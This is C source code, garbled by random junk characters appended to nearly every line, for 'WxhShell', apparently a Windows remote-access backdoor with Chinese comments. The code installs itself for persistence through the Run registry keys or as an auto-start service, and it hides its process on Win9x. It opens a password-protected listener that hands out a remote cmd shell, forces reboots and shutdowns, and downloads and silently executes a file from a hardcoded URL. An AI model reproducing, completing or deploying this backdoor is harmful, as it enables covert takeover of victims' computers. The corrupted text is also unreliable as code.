    closesocket(wsh); Ym -U{a  
    ExitThread(0);  =/ !A  
    } 0@u{(m  
    break; Ut1s~b1  
    } MD4m h2  
  // 关机  ]5ibg"{S  
  case 'd': { T# tFzbr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vu*{+YpH  
    if(Boot(SHUTDOWN)) 7n;a_Z0s$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wc}x [cS  
    else { }+[!h=Bx  
    closesocket(wsh); ?"}U?m=  
    ExitThread(0); =3V4HQi  
    } wt_ae|hv  
    break; ">fRM=fl  
    } chuJj IY  
  // 获取shell n*|8 (fD  
  case 's': { 1T,Bd!g  
    CmdShell(wsh); #:MoZw`rlw  
    closesocket(wsh); !HXsxNe  
    ExitThread(0); iz tF  
    break; |VM=:}s&  
  } `q\v~FT  
  // 退出 lY |]  
  case 'x': { K_N`My  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9Y2(.~w6X  
    CloseIt(wsh); 3],(oQq^  
    break; FY+@fy  
    } ^:O*Sx.CA  
  // 离开 7 X~JLvN  
  case 'q': { W^H[rX}=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VF7H0XR/k5  
    closesocket(wsh); wmP[\^c%$j  
    WSACleanup(); `"iPJw14  
    exit(1); k5)IBO  
    break; IeIv k55  
        } lrMkp@ f.  
  } }4Gn$'e  
  } R3BK\kf&  
1_n5:  
  // 提示信息 Z3Xgi~c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N71^I"@HH  
} ZU9RvtbKB  
  } 8Tc:TaL  
7tY~8gQel  
  return; itO1ROmu  
} sQT,@+JEr  
%Si3LQf  
// shell模块句柄 Q6[h;lzGV  
int CmdShell(SOCKET sock) Tl^)O^/  
{ 4)N~*+~\h  
STARTUPINFO si; g-+/zEOUS  
ZeroMemory(&si,sizeof(si)); kw1Lm1C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LyNur8 Zi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vZSwX@0  
PROCESS_INFORMATION ProcessInfo; WMoRosL74  
char cmdline[]="cmd"; # kmI#W"^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6<n+p'+n  
  return 0; DEzL]1;P  
} fvDcE]_%H  
BUsAEw M  
// 自身启动模式 V Z60   
int StartFromService(void) dSzq}w4xY  
{ &gvX<X4e  
typedef struct *>j4tA{b@v  
{ Tr HUM4  
  DWORD ExitStatus; @v}M\$N?  
  DWORD PebBaseAddress; T!5g:;~y >  
  DWORD AffinityMask; .lppT)P  
  DWORD BasePriority; ! AL?bW  
  ULONG UniqueProcessId; _3_o/I  
  ULONG InheritedFromUniqueProcessId; (Z>vbi%  
}   PROCESS_BASIC_INFORMATION; !z?:Y#P3  
ZpU4"x>  
PROCNTQSIP NtQueryInformationProcess; ?eR^\-e  
`&A-m8X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E>}3MfL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?)+I'lW!  
? ~~,?Uxw!  
  HANDLE             hProcess; NVo =5  
  PROCESS_BASIC_INFORMATION pbi; RYX=;n  
<$'FTv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0OVxx>p/x  
  if(NULL == hInst ) return 0; 7:S)J~s*O  
_d3/="=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ml,87fo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gh{vExH@5(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2` h  
zeHs5P8}r  
  if (!NtQueryInformationProcess) return 0; If.hA}  
S 5nri(m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e p\a  
  if(!hProcess) return 0; 32):&X"AIh  
).>O6A4:C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ? $X1X`@  
V 8J!8=2  
  CloseHandle(hProcess); I!,FxOM|$  
J$i5A9IUr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W6uz G  
if(hProcess==NULL) return 0; H9T'{R*FC  
A! !W\Jt  
HMODULE hMod; 5ayH5=(t  
char procName[255]; D& #ph%U,P  
unsigned long cbNeeded; Gcu?xG{  
1'[_J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tdB<  
?e!mv}B_  
  CloseHandle(hProcess); ]W 6!Xw)[  
n8>( m,  
if(strstr(procName,"services")) return 1; // 以服务启动 q:ZF6o`Z83  
m]:|j[!*M  
  return 0; // 注册表启动 th(<S  
} '0>w_ge4  
AE 2>smp5@  
// 主模块 a-7T   
int StartWxhshell(LPSTR lpCmdLine) JN-wToOF  
{ IHtNaN )  
  SOCKET wsl; Qf}b3WEAI  
BOOL val=TRUE; ^iaG>rvA  
  int port=0; qY$/i#  
  struct sockaddr_in door; $17utJ 58  
=7uxzg/%Tj  
  if(wscfg.ws_autoins) Install(); w#M66=je_  
E%6}p++  
port=atoi(lpCmdLine); 7nAB^~)6l  
Z-,' M tD  
if(port<=0) port=wscfg.ws_port; k~ZE4^dM  
9.qjEe  
  WSADATA data; zQQ=8#]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vEIDf{  
IH1 fvW e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'm,3znX!c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _+hf.[""  
  door.sin_family = AF_INET; y0D="2)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *^q%b /f  
  door.sin_port = htons(port); c>%+y+b{  
V.*0k~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xr*hmp1  
closesocket(wsl); VUaYK  
return 1; }&OgIo+  
} k-&fPEjG  
h}o7/p  
  if(listen(wsl,2) == INVALID_SOCKET) { #4e Taik  
closesocket(wsl); y QxzFy  
return 1; >F~]r$G  
}  0"_FQv  
  Wxhshell(wsl); -_RMiGM?T  
  WSACleanup(); Oy^)lF/  
,f;YJHEx8  
return 0; :Ojsj_Z;;  
~]_g q;bG  
} d)&}% 2ku  
Z&!5'_9{V  
// 以NT服务方式启动 s*k[Fbi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9$pQ|e0tJ  
{ HTz&h#)JQ  
DWORD   status = 0; 5[_|+  
  DWORD   specificError = 0xfffffff; '%$)"g]/#  
#sK:q&/G`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l |c#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M/X&zr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *uq;O*s  
  serviceStatus.dwWin32ExitCode     = 0; O%.c%)4Xo  
  serviceStatus.dwServiceSpecificExitCode = 0; pLvvv#Y  
  serviceStatus.dwCheckPoint       = 0; `|\z#Et  
  serviceStatus.dwWaitHint       = 0; ;LM,<QJ  
7LM?<lp]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HH+$rrTT  
  if (hServiceStatusHandle==0) return; ?,J'3nZ'  
CVp`G"W:  
status = GetLastError(); [h>RO55e  
  if (status!=NO_ERROR) <TL!iM  
{ b3z {FP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ep- ~;?  
    serviceStatus.dwCheckPoint       = 0; Qb}1tn)  
    serviceStatus.dwWaitHint       = 0; n9}3>~ll  
    serviceStatus.dwWin32ExitCode     = status; ;-:Nw6 E  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8R;)WlLu=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :qbbo~U  
    return; vnT'.cBB:^  
  } ',o ,o%n  
[4u.*oL&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -Q6njt&  
  serviceStatus.dwCheckPoint       = 0; tw/~z2G  
  serviceStatus.dwWaitHint       = 0; G{,X_MZ%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cg-\|H1  
} 9 -\.|5;:  
[f9U9.fR  
// 处理NT服务事件,比如:启动、停止 #@QZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aB6F<"L,  
{ >8$]g  
switch(fdwControl) e^?0uVxS1  
{ pDlU*&  
case SERVICE_CONTROL_STOP: Ka|WT|1  
  serviceStatus.dwWin32ExitCode = 0; Lb2bzZbhx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K/+Y9JP9  
  serviceStatus.dwCheckPoint   = 0; =}6yMR!4R<  
  serviceStatus.dwWaitHint     = 0; 6tC0F=  
  { y6 bl&_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z Sj[GI  
  } OaeGukhX&  
  return; ]chfa  
case SERVICE_CONTROL_PAUSE: 8cV3VapF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Flrpk`4  
  break; H B}!Lf#*P  
case SERVICE_CONTROL_CONTINUE: .""?k[f5Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $wgHaSni  
  break; 2E Ufd\   
case SERVICE_CONTROL_INTERROGATE: 8Z{e/wnVF  
  break; uTgvMkO  
}; MCBZq\c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dp)5u@I  
} o(=\FNe  
%s}c#n)N  
// 标准应用程序主函数 %|&WcpQR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]m _<lRye  
{ W$g<nhLK  
9A@/5Z:v5W  
// 获取操作系统版本 n]?KDID;  
OsIsNt=GetOsVer(); (%&HufT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YueYa#7z  
^Jv$Wx  
  // 从命令行安装 >5rb4  
  if(strpbrk(lpCmdLine,"iI")) Install(); oCw>b]S  
=Oo=&vA.oc  
  // 下载执行文件 6Qo YX] .  
if(wscfg.ws_downexe) { Q{s9{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fwe4f  
  WinExec(wscfg.ws_filenam,SW_HIDE); JDTlzu1hR  
} op\'T;xIu  
m&o6j>C  
if(!OsIsNt) { xc4g`Xi  
// 如果时win9x,隐藏进程并且设置为注册表启动 _$g2;X >  
HideProc(); 4<j)1i=A  
StartWxhshell(lpCmdLine); !fwMkws  
} ! ^~ ^D<  
else n};:*N! v  
  if(StartFromService()) 7Nu.2qE  
  // 以服务方式启动 TuF;>{~}  
  StartServiceCtrlDispatcher(DispatchTable); ,".1![b  
else qL;OE.?oA  
  // 普通方式启动 nY]5pOF:  
  StartWxhshell(lpCmdLine);  `7v"(  
""0 cw  
return 0; `\}Ck1o  
} >S<`ri'5_  
{5%u G2g  
8dgi"/[3  
FX"j8i/N  
=========================================== V7+fNr]I  
Rm^3K   
uq.!{3)8  
~pv|  
Y (a0*fh  
>s 5i  
" i?{cB!7  
sbeS9vE  
#include <stdio.h> hH&A1vUv  
#include <string.h> 25 NTtj:X  
#include <windows.h> J@ CKgE  
#include <winsock2.h> F.]D\"0`  
#include <winsvc.h> M<nKk#!+h  
#include <urlmon.h> ';>]7oT`  
h83W;s  
#pragma comment (lib, "Ws2_32.lib") <$ "   
#pragma comment (lib, "urlmon.lib") U ]o  
zJ"`40V*;  
#define MAX_USER   100 // 最大客户端连接数 U=kP xe  
#define BUF_SOCK   200 // sock buffer e7n[NVrX  
#define KEY_BUFF   255 // 输入 buffer <8 $fo  
r]sN I[  
#define REBOOT     0   // 重启 S.4gfY  
#define SHUTDOWN   1   // 关机 H ~VeY\:w  
bS1?I@  
#define DEF_PORT   5000 // 监听端口 5_H`6-q  
_l{`lQ}  
#define REG_LEN     16   // 注册表键长度 *VuiEBG  
#define SVC_LEN     80   // NT服务名长度 >/BMA;`  
AmyZ9r#{  
// 从dll定义API !R`E+G@   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8M<\?JD~_f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e&R?9z-*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S)?V;@p6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G!G]*p5  
lG1\41ZxB  
// wxhshell配置信息 y-.<iq  
struct WSCFG { 5YZh e4R  
  int ws_port;         // 监听端口 m }J@w~#  
  char ws_passstr[REG_LEN]; // 口令 w \U?64  
  int ws_autoins;       // 安装标记, 1=yes 0=no vtA%^~0  
  char ws_regname[REG_LEN]; // 注册表键名 =._V$:a6o  
  char ws_svcname[REG_LEN]; // 服务名 ~W>3EJghR,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A$7j B4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;4%Co)Rw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eBZ94rA]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (XU( e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J,W<vrKOcN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -eQ>3x&3r  
D\4pLm"!v  
}; Pg''>6w>  
hy]8t1894  
// default Wxhshell configuration at )m*  
struct WSCFG wscfg={DEF_PORT, 2FE13{+f  
    "xuhuanlingzhe", ;%ng])w=;  
    1, 6?BV J  
    "Wxhshell", ~LfFLC  
    "Wxhshell", @'~7O4WH  
            "WxhShell Service", +{r~-Rn3  
    "Wrsky Windows CmdShell Service", _k|k$qxE  
    "Please Input Your Password: ", w$evAPuz^  
  1, ['%$vnS5S  
  "http://www.wrsky.com/wxhshell.exe", pXhN?joe  
  "Wxhshell.exe" znkc@8_4  
    }; p=d,kY  
Y 9SaYSX  
// 消息定义模块 !q8"Q t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M(|6YF7u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L=_   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W6A-/;S\  
char *msg_ws_ext="\n\rExit."; %7S{g  
char *msg_ws_end="\n\rQuit."; Bo4MoSF}  
char *msg_ws_boot="\n\rReboot..."; nK8IW3fX9)  
char *msg_ws_poff="\n\rShutdown..."; hWz/PK,  
char *msg_ws_down="\n\rSave to "; a !yBEpMo  
'44I}[cA/  
char *msg_ws_err="\n\rErr!"; =^5#o)~BB  
char *msg_ws_ok="\n\rOK!"; d%~OEq1i"  
g9.y`o}c  
char ExeFile[MAX_PATH]; W[G5+*i  
int nUser = 0; e#<A\?  
HANDLE handles[MAX_USER]; MwHxn%  
int OsIsNt; wqasI@vyu  
c D5N'3  
SERVICE_STATUS       serviceStatus; ev[!:*6P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mb?r{WCi  
) >H11o{&  
// 函数声明 X 2Zp @q(  
int Install(void); p6&6^v\  
int Uninstall(void); sLOkLz"x  
int DownloadFile(char *sURL, SOCKET wsh); ?Z2_y-  
int Boot(int flag); cl{kCSZo.z  
void HideProc(void); IQ $/|b/  
int GetOsVer(void); Htm;N2$d  
int Wxhshell(SOCKET wsl); qCI0[U@  
void TalkWithClient(void *cs); #ULzh&yO  
int CmdShell(SOCKET sock); (RBB0CE  
int StartFromService(void); 1Xkl.FcFw  
int StartWxhshell(LPSTR lpCmdLine); g/W&Ap;qVL  
5M? I-m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ge=|RAw3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )~{8C:  
Qm)c!  
// 数据结构和表定义 S^:7V[=EgI  
SERVICE_TABLE_ENTRY DispatchTable[] = 3>#io^35  
{ Jz@2?wSp  
{wscfg.ws_svcname, NTServiceMain}, ,c&%/"i:w  
{NULL, NULL} 1 uJpn  
}; p_EWpSOt7  
8=,?B h".  
// 自我安装 Ro.br:'Bw  
int Install(void) P_F0lO  
{ }Ryrd!3bY  
  char svExeFile[MAX_PATH]; [l*;+N+  
  HKEY key; APv& ^\oUH  
  strcpy(svExeFile,ExeFile); Rebo.6rG  
c9ea%7o{0a  
// 如果是win9x系统,修改注册表设为自启动 Vif)e4{Pn  
if(!OsIsNt) { ~93#L_V_O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `s\E"QeZN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -1%AM40j  
  RegCloseKey(key); hr?0RPp}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'p&q}IO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5n1T7-QCL  
  RegCloseKey(key); r:Ok z  
  return 0; 5gZ *  
    } *lBX/O`=  
  } l}XnCOIT,  
} %g7B*AX]  
else { |o#pd\  
-uhg7N[3  
// 如果是NT以上系统,安装为系统服务 =GL^tAUJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1$nuh@-ys  
if (schSCManager!=0) '"9Wt@ .  
{ O6b.oS '-  
  SC_HANDLE schService = CreateService NI2-*G_M  
  ( uX8G<7O^  
  schSCManager, *d}{7UMy#  
  wscfg.ws_svcname, Os[50j!4>  
  wscfg.ws_svcdisp, feT.d +Fd  
  SERVICE_ALL_ACCESS, . sv uXB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rds0EZ4W  
  SERVICE_AUTO_START, cdv0:+[P  
  SERVICE_ERROR_NORMAL, ^o[(F<q  
  svExeFile, "vo o!&<  
  NULL, psAr>:\3  
  NULL, _YA;Nd#%k  
  NULL, B i`m+ob  
  NULL, %5Zhq>  
  NULL &&TAX  
  ); xeKfc}:&z  
  if (schService!=0) g)=-%n'RoE  
  { >$_@p(w  
  CloseServiceHandle(schService); k p8kp`S7  
  CloseServiceHandle(schSCManager); 4=ZN4=(_[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0:zDt~Ju  
  strcat(svExeFile,wscfg.ws_svcname); SVi{B*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DC,]FmWs!+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uE&2M>2  
  RegCloseKey(key); F>"B7:P1:Q  
  return 0; O/lu0acI  
    } o(Q='kK  
  } U>a~V"5,u  
  CloseServiceHandle(schSCManager); t ybM3VA  
} RO8]R2A  
} ;s w3MRJ  
7s2e> 6Q[  
return 1; ZnRE:=  
} ke5_lr(  
%VGQ{:  
// 自我卸载 T#=&oy7  
int Uninstall(void) 1*]@1DJt  
{ Q_FL8w9D~8  
  HKEY key; Vv.q{fRvYB  
5`f\[oA  
if(!OsIsNt) { D|"^ :Gi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H  2UR  
  RegDeleteValue(key,wscfg.ws_regname); "kg?Or.  
  RegCloseKey(key); c\N-B,m&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1w|u ^[~u\  
  RegDeleteValue(key,wscfg.ws_regname); z{G@t0q  
  RegCloseKey(key); i&zJwUr(<  
  return 0; ufXU  
  } ^ZG 3{>  
} g?e-D.pSF  
} S3Sn_zqG  
else { rtk1 8U-  
j(`V& S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jWerX -$  
if (schSCManager!=0) SkMBdkS9z[  
{ $6yr:2Xvt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~w}Zv0  
  if (schService!=0) gpe-)hD@R  
  { RiCzH  
  if(DeleteService(schService)!=0) { '-KrneZ!  
  CloseServiceHandle(schService); KGsW*G4U=  
  CloseServiceHandle(schSCManager); d;LBV<Z?  
  return 0; Tsl0$(2W  
  } few=`%/  
  CloseServiceHandle(schService); 5JA5:4aev  
  } P:tl)ob  
  CloseServiceHandle(schSCManager); bPo*L~xdk  
} rR 3(yy0L  
} z9P;HGuZ  
7Hp~:i30  
return 1; ,?>:Cdz4  
} te8lF{R  
]x`I@vSf7R  
// 从指定url下载文件 m~l[Y  
int DownloadFile(char *sURL, SOCKET wsh) y3)R:h4AH  
{ e!|T Tap  
  HRESULT hr; 6>; dJV  
char seps[]= "/"; x2 m A  
char *token; ]2'{W]m  
char *file; 4XsKOv  
char myURL[MAX_PATH]; 2Uq4PCx!  
char myFILE[MAX_PATH]; U{~R39  
T0Zv.  
strcpy(myURL,sURL); ]WP[hF  
  token=strtok(myURL,seps); nLv"ON~  
  while(token!=NULL) bx8|_K*^  
  { z4[S02s  
    file=token; *O@uF4+!1  
  token=strtok(NULL,seps); ~R\Z&oQ  
  } 7SpF&  
pCm|t!,  
GetCurrentDirectory(MAX_PATH,myFILE); ]>\!}\R<  
strcat(myFILE, "\\"); tr $~INe  
strcat(myFILE, file); f;PvXq<7"  
  send(wsh,myFILE,strlen(myFILE),0); h>[][c(b  
send(wsh,"...",3,0); -jOCzp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^qD@qJ  
  if(hr==S_OK) |XdkJv]  
return 0; 7L\kna<  
else v3{[rK}  
return 1; h(VF  
CUo %i/R  
} !O~5<tA[#1  
|6}:n,KA.  
// 系统电源模块 +r 2\v  
int Boot(int flag) WSPlM"h  
{ `&-)(#  
  HANDLE hToken; yhi6RDS  
  TOKEN_PRIVILEGES tkp; 235wl  
X #!oG)or  
  if(OsIsNt) { 47 _";g@X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;'x\L<b/)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EO[UezuU  
    tkp.PrivilegeCount = 1; MGzuQrl{H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (o5+9'y"9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h#iFp9N  
if(flag==REBOOT) { ZT;:Hxv0N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) < BNCo5*  
  return 0; >9v?p=  
} 7>Oa, \  
else { |:?JSi0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (Mw<E<f  
  return 0; z|gG%fM  
} jS,zdJs=  
  } #r4S%  
  else { ihr l!A5  
if(flag==REBOOT) { z a^s%^:yK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N7`<t&T@  
  return 0; 'F665  
} + ^9;<>P  
else { i+z;tF`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  `xpU  
  return 0; @Yy:MdREA  
} yb(zyGe  
} ages-Z_X  
ped3}i+|]  
return 1; K&WNtk3hT  
} jGtoc,\X  
JyBsOC3  
// win9x进程隐藏模块 S2jO  
void HideProc(void) #iot.alNA  
{ '0!IF&p'  
jJmg9&^R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gTp){  
  if ( hKernel != NULL ) _\P9~w `  
  { 3 #zw Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y C uuj$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |# zznT"  
    FreeLibrary(hKernel); +I?T|Iin  
  } mne=9/sE"  
E Fx@O  
return; y ~ A]  
} tilL7  
79>8tOuo  
// 获取操作系统版本 +r+H`cT@  
int GetOsVer(void) b7:B[7yK.x  
{ I+Q`i:\,q  
  OSVERSIONINFO winfo; :X`Bc"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =m4_8)-8u  
  GetVersionEx(&winfo); 3??*G8Yp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) om"q[Tudc  
  return 1; m*h, <,}-+  
  else @42!\1YT  
  return 0; 7b2N'^z}  
} Hset(-=X  
H:ar&o#(  
// 客户端句柄模块 GA{Q6]B  
int Wxhshell(SOCKET wsl) J!@$lyH  
{ 6c3+q+#J2  
  SOCKET wsh; ZcXqH7`r  
  struct sockaddr_in client; U~SOHfZ%(  
  DWORD myID; =%:mZ@x'  
5O9Oi:-!c  
  while(nUser<MAX_USER) _J51 :pi  
{ HHbkR2H1  
  int nSize=sizeof(client); ms8PFu(f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r"a4 ;&mf  
  if(wsh==INVALID_SOCKET) return 1; }31z 35  
<mc[-To  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MK]S205{  
if(handles[nUser]==0) }{^i*T5rl  
  closesocket(wsh); z/7H/~d  
else 1R/=as,R  
  nUser++; -4JdK O  
  } 9Q".166  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >s E5zj|V  
2w=0&wG4K  
  return 0; x@I@7Pvo3  
} m6bI<C3^5  
%$ ^yot  
// 关闭 socket edPnC {?s  
void CloseIt(SOCKET wsh) _|MY/SN4A  
{ j.GpJDq  
closesocket(wsh); /tno`su;  
nUser--; 4QnJ;&~  
ExitThread(0); Pl=X<Bp  
} w+cI0lj  
1rV?^5  
// 客户端请求句柄 ^P-!pK*  
void TalkWithClient(void *cs) 3<x_[0v`K1  
{ p&F=<<C  
P X](hc=  
  SOCKET wsh=(SOCKET)cs; _4z>I/R>Z  
  char pwd[SVC_LEN]; K<b -|t9f  
  char cmd[KEY_BUFF]; zxCxGT\;  
char chr[1]; nTSGcMI  
int i,j; %D z|p]49!  
%ma1LN[  
  while (nUser < MAX_USER) { XcA4EBRj  
@:i>q$aF  
if(wscfg.ws_passstr) { l}X3uy S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t-SGG{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +fzZ\  
  //ZeroMemory(pwd,KEY_BUFF); u>(s .4]+  
      i=0; P%smX`v  
  while(i<SVC_LEN) { C ,Je>G  
d]h[]Su/?  
  // 设置超时 d}b# "A  
  fd_set FdRead; f#414ja  
  struct timeval TimeOut; -5A@FGh  
  FD_ZERO(&FdRead); muQ7sJ9 r  
  FD_SET(wsh,&FdRead); ;w?zmj<Dm  
  TimeOut.tv_sec=8; &l%#OI}OE  
  TimeOut.tv_usec=0; 7/(C1II.Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u~?]/-.TY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $g#j,  
}rVnuRq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t09,X  
  pwd=chr[0]; MC3XGnT#5  
  if(chr[0]==0xd || chr[0]==0xa) { J6Mm=bO5  
  pwd=0; c0Jf  
  break; u=#!je  
  } (~{7e/)r  
  i++; `c{i +  
    } c*!bT$]~\  
w IT`OT6Q  
  // 如果是非法用户,关闭 socket qwA: o-q"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D?]aYCT  
} hGF:D#jyT  
lXm]1 *<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dOqwF iO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xJ%b<y{@  
z]\0]i  
while(1) { <"CG%RGP  
=Ze~6vS,  
  ZeroMemory(cmd,KEY_BUFF); %Q}#x  
Jx_ OT C  
      // 自动支持客户端 telnet标准   hW>@jT"t1C  
  j=0; Kd;|Z  
  while(j<KEY_BUFF) { qX:54$t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O" ['.b  
  cmd[j]=chr[0]; +S|y)W8  
  if(chr[0]==0xa || chr[0]==0xd) {  7P]_03  
  cmd[j]=0; tA@#SIw  
  break; ? _[gs/i}  
  } rMpb  
  j++; )0PUK9  
    } ;wDcYs  
^`=Z=C$fj  
  // 下载文件 G?=X!up(  
  if(strstr(cmd,"http://")) { hig^ovF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *BBP"_$  
  if(DownloadFile(cmd,wsh)) 6}Y^X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @<},-u  
